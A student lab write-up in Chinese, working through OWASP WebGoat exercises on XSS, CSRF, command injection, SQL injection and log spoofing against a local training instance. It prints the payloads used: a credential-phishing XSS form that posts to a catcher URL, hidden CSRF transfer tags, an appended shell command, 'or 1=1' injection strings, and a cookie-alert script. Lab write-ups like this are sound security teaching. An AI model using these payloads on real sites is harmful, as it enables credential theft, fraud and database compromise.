2018-2019 20165226 Exp9 Web安全基础

2018-2019 20165226 Exp9 Web安全基础

目录


一、实验内容说明及基础问题回答

二、实验过程

  • Webgoat准备

  • XSS攻击
    • ① Phishing with XSS 跨站脚本钓鱼攻击
    • ② Stored XSS Attacks 存储型XSS攻击
    • ③ Reflected XSS Attacks 反射型XSS攻击
  • CSRF攻击
    • ① Cross Site Request Forgery(CSRF)
    • ② CSRF Prompt By-Pass
  • SQL注入攻击
    • ① Command Injection 命令注入
    • ② Numeric SQL Injection
    • ③ Log Spoofing 日志欺骗
    • ④ String SQL Injection 字符串型注入
    • ⑤ LAB:SQL Injection

三、问题与思考

四、实验总结



一、实验内容说明及基础问题回答


1、实验内容

本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

2、基础问题回答
(1)SQL注入攻击原理,如何防御

  • 原理:
    • 通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。
  • 防御办法:
    • 使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
    • 摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。这需要在建立数据库后,仔细考虑Web程序需要对数据库进行的各种操作,并为之建立存储过程,然后让Web程序调用存储过程来完成数据库操作。

(2)XSS攻击的原理,如何防御

  • 原理:
    • 攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
  • 防御办法:
    • 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
    • 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

(3)CSRF攻击原理,如何防御

  • 原理:
    • CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
    • 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
  • 防御办法:
    • 通过 referer、token 或者 验证码 来检测用户提交。
    • 尽量不要在页面的链接中暴露用户隐私信息。
    • 对于用户修改删除等操作最好都使用post 操作 。
    • 避免全站通用的cookie,严格设置cookie的域。

返回目录



二、实验过程

WebGoat准备

  • 介绍:WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

  • 下载webgoat-container-7.0.1-war-exec.jar文件
    1047870-20190520191215936-365929073.png

  • 在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端

1047870-20190520191258343-394225881.png

  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,直接用默认用户名密码登录即可
    1047870-20190520193129403-2122848132.png

XSS攻击

跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。

① Phishing with XSS 跨站脚本钓鱼攻击

  • 在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS
  • 将下面这段代码输入到Search:输入框中,点击search
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div>   </div></div> </form>   <script> function hack(){  XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); }    </script> <form name="phish"> <br> <br> <HR>   <H2>This feature requires account login:</H2> <br>   <br>Enter Username:<br>   <input type="text" name="user">   <br>Enter Password:<br>   <input type="password" name = "pass"> <br>   <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>

结果会出现代码中所指定的黄、橙、灰三块div,并在下方出现了用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框。
1047870-20190521161106957-688801229.png
1047870-20190521161110051-1365676482.png

  • 如果真的在登录框中输入用户名、密码,eg:20165226 123456,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码。
    1047870-20190521161116694-2132250295.png

② Stored XSS Attacks 存储型XSS攻击
存储型XSS的攻击基本流程:

1、比如在某个论坛提供留言板功能,黑客在留言板内插入恶意的html或者Javascript代码,并且提交。
2、网站后台程序将留言内容存储在数据中
3、然后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了之前黑客的留言内容,并且直接插入在html页面中,这就可能导致:黑客留言的脚本本身应该作为内容显示在留言板的,但此时黑客的留言脚本被浏览器解释执行。

黑客的脚本可以用来做如下所述的攻击:

1.通过javascript获取用户的cookie,根据这个cookie窃取用户信息
2.重定向网站到一个钓鱼网站
3.重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器

  • 打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks
  • Message框中输入上面那段代码,并点击submitTitle随便输入
  • 提交后,下方Message List中会新增刚输入的Tile名字的链接,点击链接。
    1047870-20190521161129111-241729006.png

  • 可以看到我们的html已经注入成功,messege部分显示的是三色框,在下方用户名密码处输入,eg:20165226 123456,点击提交后,被成功获取用户名和密码:
    1047870-20190521161133031-1393006803.png

③ Reflected XSS Attacks 反射型XSS攻击
反射型XSS:

我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。
value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,
如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS.
别人可能修改这个value值,然后将这个恶意的URL发送给你,当URL地址被打开时,
特有的恶意代码参数就会被HTML解析执行.
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。

存储型XSS与反射型XSS的区别:

①存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

②反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

  • 打开xss的第三个攻击Reflected XSS Attacks

  • 在“Enter your three digit access code:”中输入点击Purchase,成功显示警告框,内容为我们script脚本指定的内容:
    1047870-20190521161717456-1798950713.png


CSRF攻击

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

① Cross Site Request Forgery(CSRF)

  • 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)
  • 查看页面下方Parameters中的src和menu值,分别为293和900
    1047870-20190521162327549-159401810.png

  • message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=293&menu=900&transferFunds=5000" width="1" height="1" />

以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
- 这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
- 宽高设置成1像素的目的是隐藏该图片

  • 提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
    1047870-20190521162501130-167476356.png

② CSRF Prompt By-Pass

  • 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass
  • 同攻击4,查看页面下侧Parameters中的srcmenu值(323和900)
    1047870-20190521163024309-1172743694.png

  • 在title框中输入学号,message框中输入代码
<iframe src="attack?Screen=323&menu=900&transferFunds=6000"> </iframe>
<iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>
  • 在Message List中生成以Title命名的链接"20165226"。
  • 点击进入后,如图攻击成功:
    1047870-20190521163029938-853596125.png

SQL注入攻击

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

① Command Injection 命令注入

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"
    1047870-20190521164352842-468168884.png

  • 点击view,能看到网络端口使用情况和 IP 地址,攻击成功
    1047870-20190521164412265-51655215.png

② Numeric SQL Injection

显示所有城市的天气情况

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
    1047870-20190521165600870-460211436.png

  • 攻击成功,显示所有城市的天气情况
    1047870-20190521165615954-1208773776.png

③ Log Spoofing 日志欺骗

通过查看下方灰色区域,我们分析它代表在 Web 服务器的日志中的记录的内容。

目的:使用户名为“admin” 的用户在日志中显示“成功登录”。

方法:通过在日志文件中插入脚本实现。

  • 在username中填入 5226%0d%0aLogin Succeeded for username: admin`,利用回车(0D%)和换行符(%0A)让其在日志中两行显示
    1047870-20190521170014492-1612658770.png

  • 点击Login,可见5226在Login Fail那行显示,我们自己添加的语句在下一行显示
    1047870-20190521170017633-487571139.png

  • 可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。用户名输入admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息。

④ String SQL Injection 字符串型注入

目的:尝试通过 SQL 注入将所有信用卡信息显示出来。

方法:基于以下查询语句构造自己的 SQL 注入字符串。SELECT * FROM user_data WHERE last_name = '?'

  • 选择Injection Flaws中的String SQL Injection
  • 输入查询的用户名lxs' or 1=1--
    如此lxs1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的所有数据。
    1047870-20190521170619327-1405695419.png

⑤ LAB:SQL Injection

  • 将密码长度maxlength改为200
    1047870-20190521171057327-566465806.png

  • 在密码框输入' or 1=1 --
    1047870-20190521171059912-2047916415.png

返回目录



三、问题与思考

  • 下载jar包后运行中主目录中没有所需的攻击列表,卸载重装,然后重启了n次还是这个界面,无解
    1047870-20190521171258779-710422043.png

  • 分析:电脑jdk版本和 这个jar的jdk版本不同
  • 解决方案:换了虚拟机,然后OK

返回目录

四、实验总结

通过本次实验学习了使用WebGoat工具进行SQL注入攻击、XSS攻击、CSRF攻击,主要攻击方法便是利用语句漏洞。总体挺有意思,对SQL语句格式有了更深掌握。
返回目录



转载于:https://www.cnblogs.com/musea/p/10894338.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/279496.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用 git 同步 Colab 与 Gitlab、Github 之间的文件

Colab 是谷歌提供的免费 Jupyter 服务&#xff0c;可使用 GPU。但由于每次的 VM &#xff08;虚拟机&#xff09;登出后所有文件都会连同&#xff36;&#xff2d;被毁掉。如何将一个项目里的程序或数据同步到 Colab则往往比较麻烦。尽管谷歌盘也可以挂到 Colab 里用&#xff0…

keep-alive使用_如何使用Google Keep进行无忧笔记

keep-alive使用There are a lot of note-taking apps out there. Google Keep may not be as powerful as services like Evernote, but its value is in its simplicity. Let’s talk about how to make the most of it. 那里有很多笔记应用程序。 Google Keep可能不如Evernot…

ZedGraph在项目中的应用

ZedGraph在项目中的应用将数据库数据提取出来&#xff0c;显示成曲线图&#xff08;饼状、柱状或立体图&#xff09;是项目中最常见的需求。 网上搜索到的解决方法&#xff0c;大多归为两类&#xff0c;一种是利用ActiveX组件&#xff0c;另一种是使用.net框架自带的画图的类。…

数据安全 数据销毁_如何安全销毁敏感数据CD / DVD?

数据安全 数据销毁You have a pile of DVDs with sensitive information on them and you need to safely and effectively dispose of them so no data recovery is possible. What’s the most safe and efficient way to get the job done? 您有一堆DVD&#xff0c;上面有敏…

动态切换父元素隐藏和显示里面的子元素的动画会再一次执行吗?

代码&#xff1a;完整代码:<!DOCTYPE html> <html> <head> <meta charset"UTF-8"> <title></title> <style type"text/css"> *{ margin: 0; padding: 0; } .box{ background-color: #00B83F; } .flag{ position…

MAD huashi

name1 input("请输入一个名字") name2 input("请输入一个名词") name3 input("请输入一个形容词") name4 input("请输入一个名字") name5 input("请输入一个名字") name6 input("请输入一个长辈名字") name…

如何使用QuickConnect远程访问Synology NAS

Your Synology NAS includes a QuickConnect feature that lets you access its DiskStation Manager interface remotely. Here’s how to set it up. Synology NAS包含快速连接功能&#xff0c;可让您远程访问其DiskStation Manager界面。 设置方法如下。 You were likely gr…

网络编程介绍

1. 目标:编写一个C/S架构的软件 C/S: Client--------基于网络----------Server B/S: Browser-------基于网络----------Server2. 服务端需要遵循的原则: 1. 服务端与客户端都需要有唯一的地址,但是服务端的地址必须固定/绑定 2. 对外一直提供服务,稳定运行 3. 服…

css段落缩进_如何缩进Google文档中的段落

css段落缩进Indenting paragraphs in Google Docs requires access to the ruler, which you’ll only find in the full web version. The ruler is not present in the mobile apps. 在Google文档中缩进段落需要访问标尺&#xff0c;而标尺只能在完整的网络版本中找到。 标尺…

暑假个人小结

今天。。。不&#xff0c;是昨天&#xff0c;聂老大让我们写暑期总结 其中有这么一个 &#xff08;300字啊。。。我得好好想想怎么编&#xff09; 嘛&#xff0c;在这写点不敢交上去的内容吧。 7月总结 我收获了什么 很多课件 两个qq群 slay.one被人虐 联盟无畏先锋的号到了20级…

php-fpm with php-5.3.2 + APC

php-fpm 现在php官方内部已经出版本了&#xff0c;据说以后会出现在 php core 里&#xff0c;如果现在安装的话&#xff0c;可以svn得到最新代码,我抢先为快。 至于缓存&#xff0c;我用的facebook 试用的apc 测试了一段时间还很&#xff0c;满意。wget ftp://ftp.csx.cam.ac.u…

kotlin 初始化数组

为什么80%的码农都做不了架构师&#xff1f;>>> //初始化5个元素的数组&#xff0c;每个都为"0" val a:Array<String> Array(5, {"0"}) // val a:Array<String> Array(5, {"0"}) println(a.joinToString(separator &…

Tomcat - Tomcat安装

Tomcat官网&#xff1a;http://tomcat.apache.org/ 准备&#xff1a;JAVA环境布置完成 一、Windows平台 1. 版本选择 1&#xff09; 进入官网 2&#xff09; 查看版本匹配 官网说明 https://tomcat.apache.org/whichversion.html 3&#xff09; 需要查看已安装JAVA版本请打开终…

sonos 服务器_如何在Sonos上收听有声读物

sonos 服务器Audible, Amazon’s subscription audiobook service, was conspicuously absent from Sonos for the last few years. Thankfully, it’s now back. Here’s how to use it. 过去几年&#xff0c;Sonos明显缺少Amazon的订阅有声读物服务Audible。 幸运的是&#x…

SQL Server Management Studio清除历史登陆记录

今天做渗透,登陆目标服务器的数据库管理后发现留下了登陆的记录,自己鼓捣了半天,终于解决 删除C:\Documents and Settings\guest\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell下的 mru.dat文件就可以了 本文转sinojelly51CTO博客&#xff0c;原文链接&…

停止抱怨英语_停止抱怨垂直视频

停止抱怨英语People have strong feelings about which direction video should be oriented. There are good reasons for that, but in some contexts, vertical video is completely fine and you should stop complaining about it. 人们对视频应该定向哪个方向有着强烈的感…

facebook_如何清除您的Facebook搜索记录

facebookSearch histories can tell a lot about you, and that’s especially true of Facebook’s search history. If you don’t want that sort of data left sitting around, here’s how to clear it. 搜索历史可以告诉您很多信息&#xff0c;Facebook的搜索历史尤其如此…

UI交互设计教程分享:提高界面交互体验的“葵花宝典”

​本次分享的是在界面设计中最长实用也最容易被忽略的十个原则&#xff0c;就是尼尔森十大可用性设计原则&#xff0c;这是十分基础且重要的原则。原则是死的&#xff0c;如何正确的结合到实际运用中才是关键。接下来我会通过对每一个原则的理解和现在移动端产品和结合进行分析…

window专业版激活

1、管理员权限进入命令行 2、安装密钥 slmgr /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX 3、设置kms服务器 slmgr /skms zh.us.to 4、查看是否激活 slmgr /ato 转载于:https://www.cnblogs.com/Edward-Yue/p/10942884.html

csv文件用什么打开_什么是CSV文件,如何打开它?

csv文件用什么打开A Comma Separated Values (CSV) file is a plain text file that contains a list of data. These files are often used for exchanging data between different applications. For example, databases and contact managers often support CSV files. 逗号…